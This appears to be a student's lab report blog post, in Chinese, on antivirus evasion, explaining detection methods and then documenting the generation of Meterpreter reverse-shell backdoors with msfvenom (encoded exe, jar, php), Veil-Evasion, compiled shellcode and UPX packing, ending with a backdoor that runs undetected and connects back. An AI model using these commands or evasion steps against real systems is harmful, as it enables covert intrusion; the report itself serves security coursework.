20165213 免杀原理和实践

基础性回答


杀软时如何检测出恶意代码的?

  • 1.基于特征码检测,也是最普遍的一种方法,简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。杀毒软件通常都会有自己的一个病毒库存放着特征码。

    2.启发式恶意软件检测,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
    “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧,而且每个厂商对于恶意的定义的也不同。优点是可以检测0-day恶意软件,具有一定通用性;缺点是实时监控系统行为,开销稍多,没有基于特征码的精确度高。

    3.基于行为的恶意软件检测,就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。

免杀是做什么?

  • 免杀就是让安插的后门不被AV软件发现。

免杀的基本方法有哪些?

  • 改变特征码
    • 如果你手里只有EXE
      - 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      - 用encode进行编码
  • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

实践内容(上次老师说改主机名字,我做到一半想起来了,所以前面一小部分的主机名称不对,请谅解)


任务一 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

(一)正确使用msf编码器。msfvenom生成如jar之类的其他文件。

1.利用msf生成*.exe的后门程序。

2,生成了zqha.exe的文件,接下俩分别用virscan和Virus Total对该文件进行扫描。

3.由上图可见,在完全没有进行免杀处理的情况下,扫描的结果分别为,59%和72%。

4.Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。

5.分别生成两个文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.127.132 LPORT=5213 -f exe > zqhb.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.127.132 LPORT=5213 -f exe > zqhc.exe

6.从结果上并没有很大的改变(57%和70%,55%和70%)



7.AV厂商也不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。

8.因此尝试生成.jar,和.php文件。输入

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=5213 x> zqhd.jar
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=5213 x> zqh.php


8.从结果可以看出.jar和.php对于免杀有了明显加强。

(二) veil-evasion


1.首先下载veil,从老师博客中的链接中拷贝来,sudo ./setup.sh,选择s进行静默下载。

2.下载完成后输入veil,进入到界面中,输入list。



3.生成了5213met.exe文件,送去质检,质检结果如下

(三)加壳工具编程,加壳。


1.首先生成一段shellcode,利用字符串的形式存储到.c文件中

2.使用命令生成20165213a.exe

i686-w64-mingw32-g++ 20165213.exe -o 20165213a.exe

3.由于20165213在virscan里是非法字符所以改成了zqhf.exe,检测结果如下。

4.使用upx进行加壳处理,生成了sxx_upxed.exe。

(四)通过组合应用各种技术实现恶意代码免杀


1.先使用生成shellcode,写入.c文件中,在接着用upx进行加壳处理,生成sxx_upxed2.exe,并用电脑关键对该文件所在文件夹进行查杀

2.可以看见虽然查到了三个木马,但是并没有查杀到sxx_upxed2.exe文件。

3.双击运行后得到的结果如下,证明可以再打开杀毒软件的同时也可以运行

(五)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本


(六)开启杀软能绝对防止电脑中恶意代码吗?


并不可以,即使是用所有的杀毒软件都扫描一遍,还是有可能漏掉,而且亲测的结果是在开启电脑关键的同时运行后门文件并没有被检测出来,并且对其进行检查也没有检查出结果,所有开启杀软并不能绝对防止电脑中恶意代码。

(七) 总结与体会


通过这次实验让我体会windows系统的脆弱,c级安全等级的不堪一击,仅仅三次实验就已经实现了木马的免杀,在了解了杀毒软件的原理后,问题的关键就关注于如何绕过他的检查,由此这对于也有点启示,在遭遇无法解决的棘手问题时,从了解原理方面分析不妨是个好的办法。以及这次实验再次惊醒我关于安全方面的忧虑,在以后从事公务员工作时,也要警惕这方面的危险。

posted on 2019-03-31 11:11  zqh根本吃不饱  阅读(177)  评论(0编辑  收藏  举报

导航